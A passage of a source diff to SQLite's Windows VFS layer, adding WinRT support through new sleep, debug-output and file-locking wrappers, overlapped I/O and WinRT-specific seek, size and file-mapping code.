/*
+
** This function outputs the specified (ANSI) string to the Win32 debugger
+
** (if available).
+
*/
+

+
SQLITE_API void sqlite3_win32_write_debug(char *zBuf, int nBuf){
+
  char zDbgBuf[SQLITE_WIN32_DBG_BUF_SIZE];
+
  int nMin = MIN(nBuf, (SQLITE_WIN32_DBG_BUF_SIZE - 1)); /* may be negative. */
+
  if( nMin<-1 ) nMin = -1; /* all negative values become -1. */
+
  assert( nMin==-1 || nMin==0 || nMin<SQLITE_WIN32_DBG_BUF_SIZE );
+
#if defined(SQLITE_WIN32_HAS_ANSI)
+
  if( nMin>0 ){
+
    memset(zDbgBuf, 0, SQLITE_WIN32_DBG_BUF_SIZE);
+
    memcpy(zDbgBuf, zBuf, nMin);
+
    osOutputDebugStringA(zDbgBuf);
+
  }else{
+
    osOutputDebugStringA(zBuf);
+
  }
+
#elif defined(SQLITE_WIN32_HAS_WIDE)
+
  memset(zDbgBuf, 0, SQLITE_WIN32_DBG_BUF_SIZE);
+
  if ( osMultiByteToWideChar(
+
          osAreFileApisANSI() ? CP_ACP : CP_OEMCP, 0, zBuf,
+
          nMin, (LPWSTR)zDbgBuf, SQLITE_WIN32_DBG_BUF_SIZE/sizeof(WCHAR))<=0 ){
+
    return;
+
  }
+
  osOutputDebugStringW((LPCWSTR)zDbgBuf);
+
#else
+
  if( nMin>0 ){
+
    memset(zDbgBuf, 0, SQLITE_WIN32_DBG_BUF_SIZE);
+
    memcpy(zDbgBuf, zBuf, nMin);
+
    fprintf(stderr, "%s", zDbgBuf);
+
  }else{
+
    fprintf(stderr, "%s", zBuf);
+
  }
+
#endif
+
}
+

+
/*
+
** The following routine suspends the current thread for at least ms
+
** milliseconds.  This is equivalent to the Win32 Sleep() interface.
+
*/
+
#if SQLITE_OS_WINRT
+
static HANDLE sleepObj = NULL;
+
#endif
+

+
SQLITE_API void sqlite3_win32_sleep(DWORD milliseconds){
+
#if SQLITE_OS_WINRT
+
  if ( sleepObj==NULL ){
+
    sleepObj = osCreateEventExW(NULL, NULL, CREATE_EVENT_MANUAL_RESET,
+
                                SYNCHRONIZE);
+
  }
+
  assert( sleepObj!=NULL );
+
  osWaitForSingleObjectEx(sleepObj, milliseconds, FALSE);
+
#else
+
  osSleep(milliseconds);
+
#endif
+
}
+

+
/*
** Return true (non-zero) if we are running under WinNT, Win2K, WinXP,
** or WinCE.  Return false (zero) for Win95, Win98, or WinME.
**
@@ -32822,7 +33184,7 @@ static const char *winNextSystemCall(sqlite3_vfs *p, const char *zName){
** WinNT/2K/XP so that we will know whether or not we can safely call
** the LockFileEx() API.
*/
-
#if SQLITE_OS_WINCE
+
#if SQLITE_OS_WINCE || SQLITE_OS_WINRT
# define isNT()  (1)
#else
  static int isNT(void){
@@ -32848,7 +33210,7 @@ static void *winMemMalloc(int nBytes){
  hHeap = winMemGetHeap();
  assert( hHeap!=0 );
  assert( hHeap!=INVALID_HANDLE_VALUE );
-
#ifdef SQLITE_WIN32_MALLOC_VALIDATE
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_MALLOC_VALIDATE)
  assert ( osHeapValidate(hHeap, SQLITE_WIN32_HEAP_FLAGS, NULL) );
#endif
  assert( nBytes>=0 );
@@ -32870,7 +33232,7 @@ static void winMemFree(void *pPrior){
  hHeap = winMemGetHeap();
  assert( hHeap!=0 );
  assert( hHeap!=INVALID_HANDLE_VALUE );
-
#ifdef SQLITE_WIN32_MALLOC_VALIDATE
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_MALLOC_VALIDATE)
  assert ( osHeapValidate(hHeap, SQLITE_WIN32_HEAP_FLAGS, pPrior) );
#endif
  if( !pPrior ) return; /* Passing NULL to HeapFree is undefined. */
@@ -32891,7 +33253,7 @@ static void *winMemRealloc(void *pPrior, int nBytes){
  hHeap = winMemGetHeap();
  assert( hHeap!=0 );
  assert( hHeap!=INVALID_HANDLE_VALUE );
-
#ifdef SQLITE_WIN32_MALLOC_VALIDATE
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_MALLOC_VALIDATE)
  assert ( osHeapValidate(hHeap, SQLITE_WIN32_HEAP_FLAGS, pPrior) );
#endif
  assert( nBytes>=0 );
@@ -32919,7 +33281,7 @@ static int winMemSize(void *p){
  hHeap = winMemGetHeap();
  assert( hHeap!=0 );
  assert( hHeap!=INVALID_HANDLE_VALUE );
-
#ifdef SQLITE_WIN32_MALLOC_VALIDATE
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_MALLOC_VALIDATE)
  assert ( osHeapValidate(hHeap, SQLITE_WIN32_HEAP_FLAGS, NULL) );
#endif
  if( !p ) return 0;
@@ -32947,6 +33309,8 @@ static int winMemInit(void *pAppData){

  if( !pWinMemData ) return SQLITE_ERROR;
  assert( pWinMemData->magic==WINMEM_MAGIC );
+

+
#if !SQLITE_OS_WINRT && SQLITE_WIN32_HEAP_CREATE
  if( !pWinMemData->hHeap ){
    pWinMemData->hHeap = osHeapCreate(SQLITE_WIN32_HEAP_FLAGS,
                                      SQLITE_WIN32_HEAP_INIT_SIZE,
@@ -32959,10 +33323,21 @@ static int winMemInit(void *pAppData){
      return SQLITE_NOMEM;
    }
    pWinMemData->bOwned = TRUE;
+
    assert( pWinMemData->bOwned );
  }
+
#else
+
  pWinMemData->hHeap = osGetProcessHeap();
+
  if( !pWinMemData->hHeap ){
+
    sqlite3_log(SQLITE_NOMEM,
+
        "failed to GetProcessHeap (%d)", osGetLastError());
+
    return SQLITE_NOMEM;
+
  }
+
  pWinMemData->bOwned = FALSE;
+
  assert( !pWinMemData->bOwned );
+
#endif
  assert( pWinMemData->hHeap!=0 );
  assert( pWinMemData->hHeap!=INVALID_HANDLE_VALUE );
-
#ifdef SQLITE_WIN32_MALLOC_VALIDATE
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_MALLOC_VALIDATE)
  assert( osHeapValidate(pWinMemData->hHeap, SQLITE_WIN32_HEAP_FLAGS, NULL) );
#endif
  return SQLITE_OK;
@@ -32977,7 +33352,7 @@ static void winMemShutdown(void *pAppData){
  if( !pWinMemData ) return;
  if( pWinMemData->hHeap ){
    assert( pWinMemData->hHeap!=INVALID_HANDLE_VALUE );
-
#ifdef SQLITE_WIN32_MALLOC_VALIDATE
+
#if !SQLITE_OS_WINRT && defined(SQLITE_WIN32_MALLOC_VALIDATE)
    assert( osHeapValidate(pWinMemData->hHeap, SQLITE_WIN32_HEAP_FLAGS, NULL) );
#endif
    if( pWinMemData->bOwned ){
@@ -33177,6 +33552,17 @@ static int getLastErrorMsg(DWORD lastErrno, int nBuf, char *zBuf){
  char *zOut = 0;

  if( isNT() ){
+
#if SQLITE_OS_WINRT
+
    WCHAR zTempWide[MAX_PATH+1]; /* NOTE: Somewhat arbitrary. */
+
    dwLen = osFormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM |
+
                             FORMAT_MESSAGE_IGNORE_INSERTS,
+
                             NULL,
+
                             lastErrno,
+
                             0,
+
                             zTempWide,
+
                             MAX_PATH,
+
                             0);
+
#else
    LPWSTR zTempWide = NULL;
    dwLen = osFormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER |
                             FORMAT_MESSAGE_FROM_SYSTEM |
@@ -33187,20 +33573,20 @@ static int getLastErrorMsg(DWORD lastErrno, int nBuf, char *zBuf){
                             (LPWSTR) &zTempWide,
                             0,
                             0);
+
#endif
    if( dwLen > 0 ){
      /* allocate a buffer and convert to UTF8 */
      sqlite3BeginBenignMalloc();
      zOut = unicodeToUtf8(zTempWide);
      sqlite3EndBenignMalloc();
+
#if !SQLITE_OS_WINRT
      /* free the system buffer allocated by FormatMessage */
      osLocalFree(zTempWide);
+
#endif
    }
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
** Since the ANSI version of these Windows API do not exist for WINCE,
-
** it's important to not reference them for WINCE builds.
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
+
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
    char *zTemp = NULL;
    dwLen = osFormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER |
                             FORMAT_MESSAGE_FROM_SYSTEM |
@@ -33219,8 +33605,8 @@ static int getLastErrorMsg(DWORD lastErrno, int nBuf, char *zBuf){
      /* free the system buffer allocated by FormatMessage */
      osLocalFree(zTemp);
    }
-
#endif
  }
+
#endif
  if( 0 == dwLen ){
    sqlite3_snprintf(nBuf, zBuf, "OsError 0x%x (%u)", lastErrno, lastErrno);
  }else{
@@ -33303,7 +33689,7 @@ static int retryIoerr(int *pnRetry, DWORD *pError){
  if( e==ERROR_ACCESS_DENIED ||
      e==ERROR_LOCK_VIOLATION ||
      e==ERROR_SHARING_VIOLATION ){
-
    osSleep(win32IoerrRetryDelay*(1+*pnRetry));
+
    sqlite3_win32_sleep(win32IoerrRetryDelay*(1+*pnRetry));
    ++*pnRetry;
    return 1;
  }
@@ -33364,7 +33750,7 @@ struct tm *__cdecl localtime(const time_t *t)
static void winceMutexAcquire(HANDLE h){
   DWORD dwErr;
   do {
-
     dwErr = WaitForSingleObject(h, INFINITE);
+
     dwErr = osWaitForSingleObject(h, INFINITE);
   } while (dwErr != WAIT_OBJECT_0 && dwErr != WAIT_ABANDONED);
}
/*
@@ -33495,7 +33881,7 @@ static void winceDestroyLock(winFile *pFile){
** An implementation of the LockFile() API of Windows for CE
*/
static BOOL winceLockFile(
-
  HANDLE *phFile,
+
  LPHANDLE phFile,
  DWORD dwFileOffsetLow,
  DWORD dwFileOffsetHigh,
  DWORD nNumberOfBytesToLockLow,
@@ -33559,7 +33945,7 @@ static BOOL winceLockFile(
** An implementation of the UnlockFile API of Windows for CE
*/
static BOOL winceUnlockFile(
-
  HANDLE *phFile,
+
  LPHANDLE phFile,
  DWORD dwFileOffsetLow,
  DWORD dwFileOffsetHigh,
  DWORD nNumberOfBytesToUnlockLow,
@@ -33616,34 +34002,73 @@ static BOOL winceUnlockFile(
  winceMutexRelease(pFile->hMutex);
  return bReturn;
}
+
/*
+
** End of the special code for wince
+
*****************************************************************************/
+
#endif /* SQLITE_OS_WINCE */

/*
-
** An implementation of the LockFileEx() API of Windows for CE
+
** Lock a file region.
*/
-
static BOOL winceLockFileEx(
-
  HANDLE *phFile,
-
  DWORD dwFlags,
-
  DWORD dwReserved,
-
  DWORD nNumberOfBytesToLockLow,
-
  DWORD nNumberOfBytesToLockHigh,
-
  LPOVERLAPPED lpOverlapped
+
static BOOL winLockFile(
+
  LPHANDLE phFile,
+
  DWORD flags,
+
  DWORD offsetLow,
+
  DWORD offsetHigh,
+
  DWORD numBytesLow,
+
  DWORD numBytesHigh
){
-
  UNUSED_PARAMETER(dwReserved);
-
  UNUSED_PARAMETER(nNumberOfBytesToLockHigh);
-

-
  /* If the caller wants a shared read lock, forward this call
-
  ** to winceLockFile */
-
  if (lpOverlapped->Offset == (DWORD)SHARED_FIRST &&
-
      dwFlags == 1 &&
-
      nNumberOfBytesToLockLow == (DWORD)SHARED_SIZE){
-
    return winceLockFile(phFile, SHARED_FIRST, 0, 1, 0);
+
#if SQLITE_OS_WINCE
+
  /*
+
  ** NOTE: Windows CE is handled differently here due its lack of the Win32
+
  **       API LockFile.
+
  */
+
  return winceLockFile(phFile, offsetLow, offsetHigh,
+
                       numBytesLow, numBytesHigh);
+
#else
+
  if( isNT() ){
+
    OVERLAPPED ovlp;
+
    memset(&ovlp, 0, sizeof(OVERLAPPED));
+
    ovlp.Offset = offsetLow;
+
    ovlp.OffsetHigh = offsetHigh;
+
    return osLockFileEx(*phFile, flags, 0, numBytesLow, numBytesHigh, &ovlp);
+
  }else{
+
    return osLockFile(*phFile, offsetLow, offsetHigh, numBytesLow,
+
                      numBytesHigh);
  }
-
  return FALSE;
+
#endif
}
+

/*
-
** End of the special code for wince
-
*****************************************************************************/
-
#endif /* SQLITE_OS_WINCE */
+
** Unlock a file region.
+
 */
+
static BOOL winUnlockFile(
+
  LPHANDLE phFile,
+
  DWORD offsetLow,
+
  DWORD offsetHigh,
+
  DWORD numBytesLow,
+
  DWORD numBytesHigh
+
){
+
#if SQLITE_OS_WINCE
+
  /*
+
  ** NOTE: Windows CE is handled differently here due its lack of the Win32
+
  **       API UnlockFile.
+
  */
+
  return winceUnlockFile(phFile, offsetLow, offsetHigh,
+
                         numBytesLow, numBytesHigh);
+
#else
+
  if( isNT() ){
+
    OVERLAPPED ovlp;
+
    memset(&ovlp, 0, sizeof(OVERLAPPED));
+
    ovlp.Offset = offsetLow;
+
    ovlp.OffsetHigh = offsetHigh;
+
    return osUnlockFileEx(*phFile, 0, numBytesLow, numBytesHigh, &ovlp);
+
  }else{
+
    return osUnlockFile(*phFile, offsetLow, offsetHigh, numBytesLow,
+
                        numBytesHigh);
+
  }
+
#endif
+
}

/*****************************************************************************
** The next group of routines implement the I/O methods specified
@@ -33663,6 +34088,7 @@ static BOOL winceLockFileEx(
** Otherwise, set pFile->lastErrno and return non-zero.
*/
static int seekWinFile(winFile *pFile, sqlite3_int64 iOffset){
+
#if !SQLITE_OS_WINRT
  LONG upperBits;                 /* Most sig. 32 bits of new offset */
  LONG lowerBits;                 /* Least sig. 32 bits of new offset */
  DWORD dwRet;                    /* Value returned by SetFilePointer() */
@@ -33689,6 +34115,26 @@ static int seekWinFile(winFile *pFile, sqlite3_int64 iOffset){
  }

  return 0;
+
#else
+
  /*
+
  ** Same as above, except that this implementation works for WinRT.
+
  */
+

+
  LARGE_INTEGER x;                /* The new offset */
+
  BOOL bRet;                      /* Value returned by SetFilePointerEx() */
+

+
  x.QuadPart = iOffset;
+
  bRet = osSetFilePointerEx(pFile->h, x, 0, FILE_BEGIN);
+

+
  if(!bRet){
+
    pFile->lastErrno = osGetLastError();
+
    winLogError(SQLITE_IOERR_SEEK, pFile->lastErrno,
+
             "seekWinFile", pFile->zPath);
+
    return 1;
+
  }
+

+
  return 0;
+
#endif
}

/*
@@ -33712,7 +34158,7 @@ static int winClose(sqlite3_file *id){
  do{
    rc = osCloseHandle(pFile->h);
    /* SimulateIOError( rc=0; cnt=MX_CLOSE_ATTEMPT; ); */
-
  }while( rc==0 && ++cnt < MX_CLOSE_ATTEMPT && (osSleep(100), 1) );
+
  }while( rc==0 && ++cnt < MX_CLOSE_ATTEMPT && (sqlite3_win32_sleep(100), 1) );
#if SQLITE_OS_WINCE
#define WINCE_DELETION_ATTEMPTS 3
  winceDestroyLock(pFile);
@@ -33723,12 +34169,15 @@ static int winClose(sqlite3_file *id){
        && osGetFileAttributesW(pFile->zDeleteOnClose)!=0xffffffff 
        && cnt++ < WINCE_DELETION_ATTEMPTS
    ){
-
       osSleep(100);  /* Wait a little before trying again */
+
       sqlite3_win32_sleep(100);  /* Wait a little before trying again */
    }
    sqlite3_free(pFile->zDeleteOnClose);
  }
#endif
  OSTRACE(("CLOSE %d %s\n", pFile->h, rc ? "ok" : "failed"));
+
  if( rc ){
+
    pFile->h = NULL;
+
  }
  OpenCounter(-1);
  return rc ? SQLITE_OK
            : winLogError(SQLITE_IOERR_CLOSE, osGetLastError(),
@@ -33746,6 +34195,9 @@ static int winRead(
  int amt,                   /* Number of bytes to read */
  sqlite3_int64 offset       /* Begin reading at this offset */
){
+
#if !SQLITE_OS_WINCE
+
  OVERLAPPED overlapped;          /* The offset for ReadFile. */
+
#endif
  winFile *pFile = (winFile*)id;  /* file handle */
  DWORD nRead;                    /* Number of bytes actually read from file */
  int nRetry = 0;                 /* Number of retrys */
@@ -33754,10 +34206,18 @@ static int winRead(
  SimulateIOError(return SQLITE_IOERR_READ);
  OSTRACE(("READ %d lock=%d\n", pFile->h, pFile->locktype));

+
#if SQLITE_OS_WINCE
  if( seekWinFile(pFile, offset) ){
    return SQLITE_FULL;
  }
  while( !osReadFile(pFile->h, pBuf, amt, &nRead, 0) ){
+
#else
+
  memset(&overlapped, 0, sizeof(OVERLAPPED));
+
  overlapped.Offset = (LONG)(offset & 0xffffffff);
+
  overlapped.OffsetHigh = (LONG)((offset>>32) & 0x7fffffff);
+
  while( !osReadFile(pFile->h, pBuf, amt, &nRead, &overlapped) &&
+
         osGetLastError()!=ERROR_HANDLE_EOF ){
+
#endif
    DWORD lastErrno;
    if( retryIoerr(&nRetry, &lastErrno) ) continue;
    pFile->lastErrno = lastErrno;
@@ -33784,7 +34244,7 @@ static int winWrite(
  int amt,                        /* Number of bytes to write */
  sqlite3_int64 offset            /* Offset into the file to begin writing at */
){
-
  int rc;                         /* True if error has occured, else false */
+
  int rc = 0;                     /* True if error has occured, else false */
  winFile *pFile = (winFile*)id;  /* File handle */
  int nRetry = 0;                 /* Number of retries */

@@ -33795,19 +34255,44 @@ static int winWrite(

  OSTRACE(("WRITE %d lock=%d\n", pFile->h, pFile->locktype));

+
#if SQLITE_OS_WINCE
  rc = seekWinFile(pFile, offset);
  if( rc==0 ){
+
#else
+
  {
+
#endif
+
#if !SQLITE_OS_WINCE
+
    OVERLAPPED overlapped;        /* The offset for WriteFile. */
+
#endif
    u8 *aRem = (u8 *)pBuf;        /* Data yet to be written */
    int nRem = amt;               /* Number of bytes yet to be written */
    DWORD nWrite;                 /* Bytes written by each WriteFile() call */
    DWORD lastErrno = NO_ERROR;   /* Value returned by GetLastError() */

+
#if !SQLITE_OS_WINCE
+
    memset(&overlapped, 0, sizeof(OVERLAPPED));
+
    overlapped.Offset = (LONG)(offset & 0xffffffff);
+
    overlapped.OffsetHigh = (LONG)((offset>>32) & 0x7fffffff);
+
#endif
+

    while( nRem>0 ){
+
#if SQLITE_OS_WINCE
      if( !osWriteFile(pFile->h, aRem, nRem, &nWrite, 0) ){
+
#else
+
      if( !osWriteFile(pFile->h, aRem, nRem, &nWrite, &overlapped) ){
+
#endif
        if( retryIoerr(&nRetry, &lastErrno) ) continue;
        break;
      }
-
      if( nWrite<=0 ) break;
+
      if( nWrite<=0 ){
+
        lastErrno = osGetLastError();
+
        break;
+
      }
+
#if !SQLITE_OS_WINCE
+
      offset += nWrite;
+
      overlapped.Offset = (LONG)(offset & 0xffffffff);
+
      overlapped.OffsetHigh = (LONG)((offset>>32) & 0x7fffffff);
+
#endif
      aRem += nWrite;
      nRem -= nWrite;
    }
@@ -33939,23 +34424,40 @@ static int winSync(sqlite3_file *id, int flags){
** Determine the current size of a file in bytes
*/
static int winFileSize(sqlite3_file *id, sqlite3_int64 *pSize){
-
  DWORD upperBits;
-
  DWORD lowerBits;
  winFile *pFile = (winFile*)id;
-
  DWORD lastErrno;
+
  int rc = SQLITE_OK;

  assert( id!=0 );
  SimulateIOError(return SQLITE_IOERR_FSTAT);
-
  lowerBits = osGetFileSize(pFile->h, &upperBits);
-
  if(   (lowerBits == INVALID_FILE_SIZE)
-
     && ((lastErrno = osGetLastError())!=NO_ERROR) )
+
#if SQLITE_OS_WINRT
  {
-
    pFile->lastErrno = lastErrno;
-
    return winLogError(SQLITE_IOERR_FSTAT, pFile->lastErrno,
+
    FILE_STANDARD_INFO info;
+
    if( osGetFileInformationByHandleEx(pFile->h, FileStandardInfo,
+
                                     &info, sizeof(info)) ){
+
      *pSize = info.EndOfFile.QuadPart;
+
    }else{
+
      pFile->lastErrno = osGetLastError();
+
      rc = winLogError(SQLITE_IOERR_FSTAT, pFile->lastErrno,
+
                       "winFileSize", pFile->zPath);
+
    }
+
  }
+
#else
+
  {
+
    DWORD upperBits;
+
    DWORD lowerBits;
+
    DWORD lastErrno;
+

+
    lowerBits = osGetFileSize(pFile->h, &upperBits);
+
    *pSize = (((sqlite3_int64)upperBits)<<32) + lowerBits;
+
    if(   (lowerBits == INVALID_FILE_SIZE)
+
       && ((lastErrno = osGetLastError())!=NO_ERROR) ){
+
      pFile->lastErrno = lastErrno;
+
      rc = winLogError(SQLITE_IOERR_FSTAT, pFile->lastErrno,
             "winFileSize", pFile->zPath);
+
    }
  }
-
  *pSize = (((sqlite3_int64)upperBits)<<32) + lowerBits;
-
  return SQLITE_OK;
+
#endif
+
  return rc;
}

/*
@@ -33965,6 +34467,30 @@ static int winFileSize(sqlite3_file *id, sqlite3_int64 *pSize){
# define LOCKFILE_FAIL_IMMEDIATELY 1
#endif

+
#ifndef LOCKFILE_EXCLUSIVE_LOCK
+
# define LOCKFILE_EXCLUSIVE_LOCK 2
+
#endif
+

+
/*
+
** Historically, SQLite has used both the LockFile and LockFileEx functions.
+
** When the LockFile function was used, it was always expected to fail
+
** immediately if the lock could not be obtained.  Also, it always expected to
+
** obtain an exclusive lock.  These flags are used with the LockFileEx function
+
** and reflect those expectations; therefore, they should not be changed.
+
*/
+
#ifndef SQLITE_LOCKFILE_FLAGS
+
# define SQLITE_LOCKFILE_FLAGS   (LOCKFILE_FAIL_IMMEDIATELY | \
+
                                  LOCKFILE_EXCLUSIVE_LOCK)
+
#endif
+

+
/*
+
** Currently, SQLite never calls the LockFileEx function without wanting the
+
** call to fail immediately if the lock cannot be obtained.
+
*/
+
#ifndef SQLITE_LOCKFILEEX_FLAGS
+
# define SQLITE_LOCKFILEEX_FLAGS (LOCKFILE_FAIL_IMMEDIATELY)
+
#endif
+

/*
** Acquire a reader lock.
** Different API routines are called depending on whether or not this
@@ -33973,22 +34499,26 @@ static int winFileSize(sqlite3_file *id, sqlite3_int64 *pSize){
static int getReadLock(winFile *pFile){
  int res;
  if( isNT() ){
-
    OVERLAPPED ovlp;
-
    ovlp.Offset = SHARED_FIRST;
-
    ovlp.OffsetHigh = 0;
-
    ovlp.hEvent = 0;
-
    res = osLockFileEx(pFile->h, LOCKFILE_FAIL_IMMEDIATELY,
-
                       0, SHARED_SIZE, 0, &ovlp);
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
+
#if SQLITE_OS_WINCE
+
    /*
+
    ** NOTE: Windows CE is handled differently here due its lack of the Win32
+
    **       API LockFileEx.
+
    */
+
    res = winceLockFile(&pFile->h, SHARED_FIRST, 0, 1, 0);
+
#else
+
    res = winLockFile(&pFile->h, SQLITE_LOCKFILEEX_FLAGS, SHARED_FIRST, 0,
+
                      SHARED_SIZE, 0);
+
#endif
+
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
    int lk;
    sqlite3_randomness(sizeof(lk), &lk);
    pFile->sharedLockByte = (short)((lk & 0x7fffffff)%(SHARED_SIZE - 1));
-
    res = osLockFile(pFile->h, SHARED_FIRST+pFile->sharedLockByte, 0, 1, 0);
-
#endif
+
    res = winLockFile(&pFile->h, SQLITE_LOCKFILE_FLAGS,
+
                      SHARED_FIRST+pFile->sharedLockByte, 0, 1, 0);
  }
+
#endif
  if( res == 0 ){
    pFile->lastErrno = osGetLastError();
    /* No need to log a failure to lock */
@@ -34003,14 +34533,13 @@ static int unlockReadLock(winFile *pFile){
  int res;
  DWORD lastErrno;
  if( isNT() ){
-
    res = osUnlockFile(pFile->h, SHARED_FIRST, 0, SHARED_SIZE, 0);
-
/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. 
-
*/
-
#if SQLITE_OS_WINCE==0
-
  }else{
-
    res = osUnlockFile(pFile->h, SHARED_FIRST + pFile->sharedLockByte, 0, 1, 0);
-
#endif
+
    res = winUnlockFile(&pFile->h, SHARED_FIRST, 0, SHARED_SIZE, 0);
+
  }
+
#ifdef SQLITE_WIN32_HAS_ANSI
+
  else{
+
    res = winUnlockFile(&pFile->h, SHARED_FIRST+pFile->sharedLockByte, 0, 1, 0);
  }
+
#endif
  if( res==0 && ((lastErrno = osGetLastError())!=ERROR_NOT_LOCKED) ){
    pFile->lastErrno = lastErrno;
    winLogError(SQLITE_IOERR_UNLOCK, pFile->lastErrno,
@@ -34081,7 +34610,8 @@ static int winLock(sqlite3_file *id, int locktype){
         && (pFile->locktype==RESERVED_LOCK))
  ){
    int cnt = 3;
-
    while( cnt-->0 && (res = osLockFile(pFile->h, PENDING_BYTE, 0, 1, 0))==0 ){
+
    while( cnt-->0 && (res = winLockFile(&pFile->h, SQLITE_LOCKFILE_FLAGS,
+
                                         PENDING_BYTE, 0, 1, 0))==0 ){
      /* Try 3 times to get the pending lock.  This is needed to work
      ** around problems caused by indexing and/or anti-virus software on
      ** Windows systems.
@@ -34089,7 +34619,7 @@ static int winLock(sqlite3_file *id, int locktype){
      ** copy this retry logic.  It is a hack intended for Windows only.
      */
      OSTRACE(("could not get a PENDING lock. cnt=%d\n", cnt));
-
      if( cnt ) osSleep(1);
+
      if( cnt ) sqlite3_win32_sleep(1);
    }
    gotPendingLock = res;
    if( !res ){
@@ -34113,7 +34643,7 @@ static int winLock(sqlite3_file *id, int locktype){
  */
  if( locktype==RESERVED_LOCK && res ){
    assert( pFile->locktype==SHARED_LOCK );
-
    res = osLockFile(pFile->h, RESERVED_BYTE, 0, 1, 0);
+
    res = winLockFile(&pFile->h, SQLITE_LOCKFILE_FLAGS, RESERVED_BYTE, 0, 1, 0);
    if( res ){
      newLocktype = RESERVED_LOCK;
    }else{
@@ -34134,7 +34664,8 @@ static int winLock(sqlite3_file *id, int locktype){
    assert( pFile->locktype>=SHARED_LOCK );
    res = unlockReadLock(pFile);
    OSTRACE(("unreadlock = %d\n", res));
-
    res = osLockFile(pFile->h, SHARED_FIRST, 0, SHARED_SIZE, 0);
+
    res = winLockFile(&pFile->h, SQLITE_LOCKFILE_FLAGS, SHARED_FIRST, 0,
+
                      SHARED_SIZE, 0);
    if( res ){
      newLocktype = EXCLUSIVE_LOCK;
    }else{
@@ -34148,7 +34679,7 @@ static int winLock(sqlite3_file *id, int locktype){
  ** release it now.
  */
  if( gotPendingLock && locktype==SHARED_LOCK ){
-
    osUnlockFile(pFile->h, PENDING_BYTE, 0, 1, 0);
+
    winUnlockFile(&pFile->h, PENDING_BYTE, 0, 1, 0);
  }

  /* Update the state of the lock has held in the file descriptor then
@@ -34182,9 +34713,9 @@ static int winCheckReservedLock(sqlite3_file *id, int *pResOut){
    rc = 1;
    OSTRACE(("TEST WR-LOCK %d %d (local)\n", pFile->h, rc));
  }else{
-
    rc = osLockFile(pFile->h, RESERVED_BYTE, 0, 1, 0);
+
    rc = winLockFile(&pFile->h, SQLITE_LOCKFILE_FLAGS, RESERVED_BYTE, 0, 1, 0);
    if( rc ){
-
      osUnlockFile(pFile->h, RESERVED_BYTE, 0, 1, 0);
+
      winUnlockFile(&pFile->h, RESERVED_BYTE, 0, 1, 0);
    }
    rc = !rc;
    OSTRACE(("TEST WR-LOCK %d %d (remote)\n", pFile->h, rc));
@@ -34214,7 +34745,7 @@ static int winUnlock(sqlite3_file *id, int locktype){
          pFile->locktype, pFile->sharedLockByte));
  type = pFile->locktype;
  if( type>=EXCLUSIVE_LOCK ){
-
    osUnlockFile(pFile->h, SHARED_FIRST, 0, SHARED_SIZE, 0);
+
    winUnlockFile(&pFile->h, SHARED_FIRST, 0, SHARED_SIZE, 0);
    if( locktype==SHARED_LOCK && !getReadLock(pFile) ){
      /* This should never happen.  We should always be able to
      ** reacquire the read lock */
@@ -34223,13 +34754,13 @@ static int winUnlock(sqlite3_file *id, int locktype){
    }
  }
  if( type>=RESERVED_LOCK ){
-
    osUnlockFile(pFile->h, RESERVED_BYTE, 0, 1, 0);
+
    winUnlockFile(&pFile->h, RESERVED_BYTE, 0, 1, 0);
  }
  if( locktype==NO_LOCK && type>=SHARED_LOCK ){
    unlockReadLock(pFile);
  }
  if( type>=PENDING_LOCK ){
-
    osUnlockFile(pFile->h, PENDING_BYTE, 0, 1, 0);
+
    winUnlockFile(&pFile->h, PENDING_BYTE, 0, 1, 0);
  }
  pFile->locktype = (u8)locktype;
  return rc;
@@ -34467,25 +34998,19 @@ static int winShmSystemLock(
  int ofst,             /* Offset to first byte to be locked/unlocked */
  int nByte             /* Number of bytes to lock or unlock */
){
-
  OVERLAPPED ovlp;
-
  DWORD dwFlags;
  int rc = 0;           /* Result code form Lock/UnlockFileEx() */

  /* Access to the winShmNode object is serialized by the caller */
  assert( sqlite3_mutex_held(pFile->mutex) || pFile->nRef==0 );

-
  /* Initialize the locking parameters */
-
  dwFlags = LOCKFILE_FAIL_IMMEDIATELY;
-
  if( lockType == _SHM_WRLCK ) dwFlags |= LOCKFILE_EXCLUSIVE_LOCK;
-

-
  memset(&ovlp, 0, sizeof(OVERLAPPED));
-
  ovlp.Offset = ofst;
-

  /* Release/Acquire the system-level lock */
  if( lockType==_SHM_UNLCK ){
-
    rc = osUnlockFileEx(pFile->hFile.h, 0, nByte, 0, &ovlp);
+
    rc = winUnlockFile(&pFile->hFile.h, ofst, 0, nByte, 0);
  }else{
-
    rc = osLockFileEx(pFile->hFile.h, dwFlags, 0, nByte, 0, &ovlp);
+
    /* Initialize the locking parameters */
+
    DWORD dwFlags = LOCKFILE_FAIL_IMMEDIATELY;
+
    if( lockType == _SHM_WRLCK ) dwFlags |= LOCKFILE_EXCLUSIVE_LOCK;
+
    rc = winLockFile(&pFile->hFile.h, dwFlags, ofst, 0, nByte, 0);
  }
  
  if( rc!= 0 ){
@@ -34923,18 +35448,30 @@ static int winShmMap(
      HANDLE hMap;                /* file-mapping handle */
      void *pMap = 0;             /* Mapped memory region */
     
-
      hMap = osCreateFileMapping(pShmNode->hFile.h, 
+
#if SQLITE_OS_WINRT
+
      hMap = osCreateFileMappingFromApp(pShmNode->hFile.h,
+
          NULL, PAGE_READWRITE, nByte, NULL
+
      );
+
#else
+
      hMap = osCreateFileMappingW(pShmNode->hFile.h, 
          NULL, PAGE_READWRITE, 0, nByte, NULL
      );
+
#endif
      OSTRACE(("SHM-MAP pid-%d create region=%d nbyte=%d %s\n",
               (int)osGetCurrentProcessId(), pShmNode->nRegion, nByte,
               hMap ? "ok" : "failed"));
      if( hMap ){
        int iOffset = pShmNode->nRegion*szRegion;
